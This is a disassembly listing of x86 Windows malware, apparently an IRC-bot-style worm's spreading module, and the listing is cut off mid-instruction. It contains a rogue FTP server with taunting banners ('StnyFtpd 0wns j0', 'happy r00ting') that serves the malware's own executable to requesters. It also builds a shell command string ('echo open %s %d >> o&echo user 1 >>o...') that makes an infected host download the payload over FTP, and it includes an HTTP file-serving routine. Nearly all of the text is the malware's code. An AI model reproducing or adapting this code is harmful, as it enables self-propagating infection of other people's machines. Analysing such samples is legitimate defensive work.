push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D34 add esp, 14h loc_40F267: ; CODE XREF: sub_40F160+E5j lea eax, [ebp+var_2C0] push eax call sub_415C3F push [ebp+var_AC] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_40F287: ; CODE XREF: sub_40F160+DEj push 0FFFEh push ebx call sub_419551 pop ecx mov dword_4E5E6C, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E3124 ; bind cmp eax, esi jnz short loc_40F302 call dword_4E308C ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F2E2 cmp eax, 2740h jz short loc_40F2E2 push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D34 add esp, 14h loc_40F2E2: ; CODE XREF: sub_40F160+159j ; sub_40F160+160j lea eax, [ebp+var_2C0] push eax call sub_415C3F push [ebp+var_AC] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_40F302: ; CODE XREF: sub_40F160+CDj ; sub_40F160+14Cj push 5 push edi call dword_4E3120 ; listen cmp eax, esi jz loc_40F3E7 mov [ebp+var_4], 10h mov esi, offset Str ; "nlzhxmpyrjsyle.exe" loc_40F31F: ; CODE XREF: sub_40F160+1D7j ; sub_40F160+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4E318C ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F31F cmp [ebp+var_1C], 0 jnz short loc_40F360 push 0 ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D34 add esp, 14h loc_40F360: ; CODE XREF: sub_40F160+1DDj lea eax, [ebp+var_2C0] push eax call sub_415C3F pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4E3110 ; recv cmp eax, 0FFFFFFFFh jz short loc_40F31F push esi push esi push dword_4E2E18 push [ebp+var_B0] call sub_40AF71 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+Dest] push ebx ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jz loc_40F31F inc dword_4E5E74 jmp loc_40F31F ; --------------------------------------------------------------------------- loc_40F3E7: ; CODE XREF: sub_40F160+1ADj push edi call dword_4E3190 ; closesocket push [ebp+var_AC] call sub_40BA72 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_40F160 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F402 proc near ; DATA XREF: sub_40C12D+22Ao var_A70 = byte ptr -0A70h var_8E0 = dword ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h Dst = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h Str = byte ptr -128h Dest = byte ptr -0FCh var_C8 = byte ptr -0C8h Str1 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call ds:dword_4F550C ; WSAStartup push esi push ebx push 2 call ds:dword_4F553C ; socket mov esi, ds:dword_4F5510 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call ds:dword_4F5514 ; ioctlsocket mov ax, word ptr dword_4E2E18 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4E30F8 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call ds:dword_4F5518 ; bind test eax, eax jge short loc_40F4C8 mov eax, ebx jmp loc_40FA32 ; --------------------------------------------------------------------------- loc_40F4C8: ; CODE XREF: sub_40F402+BDj push 0Ah push edi call ds:dword_4F551C ; listen mov [ebp+var_22C], ebx mov ebx, ds:dword_4F5540 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40F4E6: ; CODE XREF: sub_40F402+11Dj ; sub_40F402+628j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4F5544 ; select cmp eax, 0FFFFFFFFh jz loc_40FA2F xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40F4E6 loc_40F521: ; CODE XREF: sub_40F402+622j xor esi, esi push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 64h ; Size lea eax, [ebp+Str1] push esi ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_43ABA2 ; __WSAFDIsSet test eax, eax jz loc_40FA1D cmp edi, [ebp+var_8] jnz short loc_40F5D8 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call ds:dword_4F5520 ; accept cmp eax, 0FFFFFFFFh jz loc_40FA1D xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40F5A2 lea edx, [ebp+var_228] loc_40F592: ; CODE XREF: sub_40F402+19Ej cmp [edx], eax jz short loc_40F5A2 inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40F592 loc_40F5A2: ; CODE XREF: sub_40F402+188j ; sub_40F402+192j cmp ecx, [ebp+var_22C] jnz short loc_40F5C0 cmp [ebp+var_22C], 40h jnb short loc_40F5C0 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40F5C0: ; CODE XREF: sub_40F402+1A6j ; sub_40F402+1AFj cmp eax, [ebp+var_4] jle short loc_40F5C8 mov [ebp+var_4], eax loc_40F5C8: ; CODE XREF: sub_40F402+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40FA1D ; --------------------------------------------------------------------------- loc_40F5D8: ; CODE XREF: sub_40F402+15Aj push esi lea eax, [ebp+Dst] push 64h push eax push edi call ds:dword_4F5534 ; recv test eax, eax jg short loc_40F63F mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40F633 lea eax, [ebp+var_228] loc_40F5FF: ; CODE XREF: sub_40F402+207j cmp [eax], edi jz short loc_40F60D inc ecx add eax, 4 cmp ecx, edx jb short loc_40F5FF jmp short loc_40F633 ; --------------------------------------------------------------------------- loc_40F60D: ; CODE XREF: sub_40F402+1FFj dec edx cmp ecx, edx jnb short loc_40F62D lea eax, [ebp+ecx*4+var_228] loc_40F619: ; CODE XREF: sub_40F402+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40F619 loc_40F62D: ; CODE XREF: sub_40F402+20Ej dec [ebp+var_22C] loc_40F633: ; CODE XREF: sub_40F402+1F5j ; sub_40F402+209j push edi call ds:dword_4F5538 ; closesocket jmp loc_40FA1D ; --------------------------------------------------------------------------- loc_40F63F: ; CODE XREF: sub_40F402+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+Dst] push offset aSS_3 ; "%s %s" push eax ; Src call _sscanf lea eax, [ebp+Str1] push offset aUser_1 ; "USER" push eax ; Str1 call _strcmp add esp, 18h test eax, eax jnz short loc_40F683 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F683: ; CODE XREF: sub_40F402+272j lea eax, [ebp+Str1] push offset aPass ; "PASS" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6A7 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F6A7: ; CODE XREF: sub_40F402+296j lea eax, [ebp+Str1] push offset aSyst ; "SYST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6CB push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F6CB: ; CODE XREF: sub_40F402+2BAj lea eax, [ebp+Str1] push offset aRest ; "REST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6EF push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F6EF: ; CODE XREF: sub_40F402+2DEj lea eax, [ebp+Str1] push offset off_44A5C0 ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F713 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F713: ; CODE XREF: sub_40F402+302j lea eax, [ebp+Str1] push offset aType ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F74E lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F74E push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F74E: ; CODE XREF: sub_40F402+326j ; sub_40F402+33Dj lea eax, [ebp+Str1] push offset aType_0 ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F789 lea eax, [ebp+var_338] push offset aI ; "I" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F789 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40FA08 ; --------------------------------------------------------------------------- loc_40F789: ; CODE XREF: sub_40F402+361j ; sub_40F402+378j lea eax, [ebp+Str1] push offset aPasv ; "PASV" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F7D7 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+Str] rep movsd push eax lea eax, [ebp+Str] push eax ; Str movsw call _strlen pop ecx push eax lea eax, [ebp+Str] loc_40F7C7: ; CODE XREF: sub_40F402+414j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_40F7CF: ; CODE XREF: sub_40F402+4E7j mov edi, [ebp+arg_0] jmp loc_40FA0B ; --------------------------------------------------------------------------- loc_40F7D7: ; CODE XREF: sub_40F402+39Cj lea eax, [ebp+Str1] push offset aList_0 ; "LIST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F818 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax ; Str movsb call _strlen pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F7C7 ; --------------------------------------------------------------------------- loc_40F818: ; CODE XREF: sub_40F402+3EAj lea eax, [ebp+Str1] push offset aPort ; "PORT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F8EE lea eax, [ebp+var_2D4] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+Dst] push offset aS_24 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax ; Src call _sscanf lea eax, [ebp+Dest] push eax ; Str call _atoi mov edi, eax lea eax, [ebp+var_2D4] push eax ; Str call _atoi mov [ebp+var_C], eax push 32h ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset add esp, 34h lea eax, [ebp+Dest] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax ; Dest call _sprintf push 10h ; Radix lea eax, [ebp+Dest] push esi ; EndPtr push eax ; Str call _strtoul add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax ; Dest call _sprintf add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_40F7CF ; --------------------------------------------------------------------------- loc_40F8EE: ; CODE XREF: sub_40F402+42Bj lea eax, [ebp+Str1] push offset aRetr ; "RETR" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F9E9 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40FA39 pop ecx cmp eax, 1 pop ecx jnz loc_40F9DF lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F96E push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409D34 add esp, 14h loc_40F96E: ; CODE XREF: sub_40F402+547j call sub_40FAB6 cmp eax, 1 jnz loc_40FA0B push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F9CA push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409D34 add esp, 14h loc_40F9CA: ; CODE XREF: sub_40F402+5A3j lea eax, [ebp+var_8E0] push eax call sub_415C3F inc dword_4E5C18 pop ecx jmp short loc_40FA0B ; --------------------------------------------------------------------------- loc_40F9DF: ; CODE XREF: sub_40F402+523j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40FA08 ; --------------------------------------------------------------------------- loc_40F9E9: ; CODE XREF: sub_40F402+501j lea eax, [ebp+Str1] push offset aQuit_1 ; "QUIT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FA0B push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40FA08: ; CODE XREF: sub_40F402+27Cj ; sub_40F402+2A0j ... push edi call ebx ; send loc_40FA0B: ; CODE XREF: sub_40F402+3D0j ; sub_40F402+574j ... push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch loc_40FA1D: ; CODE XREF: sub_40F402+151j ; sub_40F402+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F521 jmp loc_40F4E6 ; --------------------------------------------------------------------------- loc_40FA2F: ; CODE XREF: sub_40F402+10Fj push 1 pop eax loc_40FA32: ; CODE XREF: sub_40F402+C1j pop edi pop esi pop ebx leave retn 4 sub_40F402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA39 proc near ; CODE XREF: sub_40F402+519p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4F550C ; WSAStartup push 0 push 1 push 2 call ds:dword_4F553C ; socket push [ebp+arg_0] mov dword_4E5E78, eax mov [ebp+var_10], 2 call ds:dword_4F5528 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4F552C ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4E5E78 call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40FAB1 push dword_4E5E78 call ds:dword_4F5538 ; closesocket call ds:dword_4F5508 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FAB1: ; CODE XREF: sub_40FA39+60j push 1 pop eax leave retn sub_40FA39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAB6 proc near ; CODE XREF: sub_40F402:loc_40F96Ep DstBuf = byte ptr -504h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+Filename] push 104h push eax push 0 call ds:dword_4F5344 ; GetModuleFileNameA lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FB4D test byte ptr [esi+0Ch], 10h jnz short loc_40FB31 push edi mov edi, 400h loc_40FAF9: ; CODE XREF: sub_40FAB6+78j push esi ; File push 1 ; Count lea eax, [ebp+DstBuf] push edi ; ElementSize push eax ; DstBuf call sub_41E3E0 add esp, 10h lea eax, [ebp+DstBuf] push 0 push edi push eax push dword_4E5E78 call ds:dword_4F5540 ; send push 1 call ds:dword_4F534C ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40FAF9 pop edi loc_40FB31: ; CODE XREF: sub_40FAB6+3Bj push esi ; File call _fclose pop ecx push dword_4E5E78 call ds:dword_4F5538 ; closesocket call ds:dword_4F5508 ; WSACleanup push 1 pop eax loc_40FB4D: ; CODE XREF: sub_40FAB6+35j pop esi leave retn sub_40FAB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB50 proc near ; DATA XREF: sub_401CC7+2274o ; sub_40C12D+475o Str = byte ptr -28F0h Str1 = byte ptr -18F0h Dest = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_14], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_25C] call dword_4E30F8 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4E3178 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FF41 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_456024[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E3124 ; bind cmp eax, 0FFFFFFFFh jz loc_40FF41 push 7FFFFFFFh push edi call dword_4E3120 ; listen cmp eax, 0FFFFFFFFh jz loc_40FF41 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4E3194 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FF41 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FC27: ; CODE XREF: sub_40FB50+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4E30E0 ; select cmp eax, 0FFFFFFFFh jz loc_40FF3C xor esi, esi mov [ebp+var_4], esi loc_40FC5D: ; CODE XREF: sub_40FB50+3E1j lea eax, [ebp+var_6F0] push eax push esi call dword_4E2FE4 ; __WSAFDIsSet test eax, eax jz loc_40FF27 cmp esi, [ebp+var_C] jnz short loc_40FCDF lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4E318C ; accept cmp eax, 0FFFFFFFFh jz loc_40FF27 xor ecx, ecx test ebx, ebx jbe short loc_40FCB1 lea edx, [ebp+var_134] loc_40FCA5: ; CODE XREF: sub_40FB50+15Fj cmp [edx], eax jz short loc_40FCB1 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FCA5 loc_40FCB1: ; CODE XREF: sub_40FB50+14Dj ; sub_40FB50+157j cmp ecx, ebx jnz short loc_40FCCE cmp ebx, 40h jnb short loc_40FCCE mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FCCE: ; CODE XREF: sub_40FB50+163j ; sub_40FB50+168j cmp eax, [ebp+var_8] jbe loc_40FF27 mov [ebp+var_8], eax jmp loc_40FF27 ; --------------------------------------------------------------------------- loc_40FCDF: ; CODE XREF: sub_40FB50+126j mov edi, 1000h lea eax, [ebp+Str] push edi ; Size push 0 ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+Str] push 0 push edi push eax push esi call dword_4E3110 ; recv test eax, eax jg short loc_40FD72 push esi call dword_4E3190 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40FF27 lea eax, [ebp+var_134] loc_40FD31: ; CODE XREF: sub_40FB50+1EBj cmp [eax], esi jz short loc_40FD42 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FD31 jmp loc_40FF27 ; --------------------------------------------------------------------------- loc_40FD42: ; CODE XREF: sub_40FB50+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FD66 lea eax, [ebp+ecx*4+var_134] loc_40FD50: ; CODE XREF: sub_40FB50+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FD50 loc_40FD66: ; CODE XREF: sub_40FB50+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FF27 ; --------------------------------------------------------------------------- loc_40FD72: ; CODE XREF: sub_40FB50+1C8j xor esi, esi push 104h ; Size lea eax, [ebp+var_23C] push esi ; Val push eax ; Dst call _memset lea eax, [ebp+Str] mov [ebp+arg_0], esi push eax ; Str call _strlen add esp, 10h test eax, eax jbe loc_40FF27 loc_40FDA0: ; CODE XREF: sub_40FB50+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+Str] cmp al, 0Ah mov [ebp+esi+Str1], al jnz loc_40FE4B lea eax, [ebp+Str1] push offset aGet_0 ; "GET " push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_40FE1F lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 5 pop ecx jbe short loc_40FE1F push offset asc_44A7B8 ; " " push offset asc_44A7BC ; " " lea eax, [ebp+Str1] push offset aGet_1 ; "GET " push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strtok push eax ; Source lea eax, [ebp+var_23C] push eax ; Dest call _strcpy add esp, 10h jmp short loc_40FE36 ; --------------------------------------------------------------------------- loc_40FE1F: ; CODE XREF: sub_40FB50+27Ej ; sub_40FB50+290j lea eax, [ebp+Str1] push offset asc_44A7C8 ; "\r\n" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40FE6A loc_40FE36: ; CODE XREF: sub_40FB50+2CDj push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch or esi, 0FFFFFFFFh loc_40FE4B: ; CODE XREF: sub_40FB50+263j inc [ebp+arg_0] lea eax, [ebp+Str] push eax ; Str inc esi call _strlen cmp [ebp+arg_0], eax pop ecx jb loc_40FDA0 jmp loc_40FF27 ; --------------------------------------------------------------------------- loc_40FE6A: ; CODE XREF: sub_40FB50+2E4j xor ecx, ecx test ebx, ebx jbe short loc_40FEB4 lea eax, [ebp+var_134] loc_40FE76: ; CODE XREF: sub_40FB50+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE87 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FE76 jmp short loc_40FEB7 ; --------------------------------------------------------------------------- loc_40FE87: ; CODE XREF: sub_40FB50+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FEAB lea eax, [ebp+ecx*4+var_134] loc_40FE95: ; CODE XREF: sub_40FB50+359j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE95 loc_40FEAB: ; CODE XREF: sub_40FB50+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_40FEB7 ; --------------------------------------------------------------------------- loc_40FEB4: ; CODE XREF: sub_40FB50+31Ej mov esi, [ebp+var_4] loc_40FEB7: ; CODE XREF: sub_40FB50+335j ; sub_40FB50+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_40FF20 lea eax, [ebp+var_360] push eax ; Str call _strlen mov edi, eax lea eax, [ebp+var_23C] push eax ; Str call _strlen add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FF20 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4E3194 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_410134 add esp, 14h jmp short loc_40FF27 ; --------------------------------------------------------------------------- loc_40FF20: ; CODE XREF: sub_40FB50+36Fj ; sub_40FB50+395j push esi call dword_4E3190 ; closesocket loc_40FF27: ; CODE XREF: sub_40FB50+11Dj ; sub_40FB50+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FC5D jmp loc_40FC27 ; --------------------------------------------------------------------------- loc_40FF3C: ; CODE XREF: sub_40FB50+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FF41: ; CODE XREF: sub_40FB50+6Aj ; sub_40FB50+92j ... call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44A7CC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF87 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_250] ; int push eax ; int lea eax, [ebp+var_5E8] push eax ; Str push [ebp+var_5EC] ; int call sub_409D34 add esp, 14h loc_40FF87: ; CODE XREF: sub_40FB50+412j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push [ebp+var_254] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_40FB50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFB1 proc near ; DATA XREF: sub_410134+24Do Str = byte ptr -1654h Source = byte ptr -654h Dest = byte ptr -550h var_44C = dword ptr -44Ch Format = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_2C4] pop ecx push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_410017 push offset aTextHtml ; "text/html" jmp short loc_41001C ; --------------------------------------------------------------------------- loc_410017: ; CODE XREF: sub_40FFB1+5Dj push offset aApplicationOct ; "application/octet-stream" loc_41001C: ; CODE XREF: sub_40FFB1+64j lea eax, [ebp+var_9C] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset 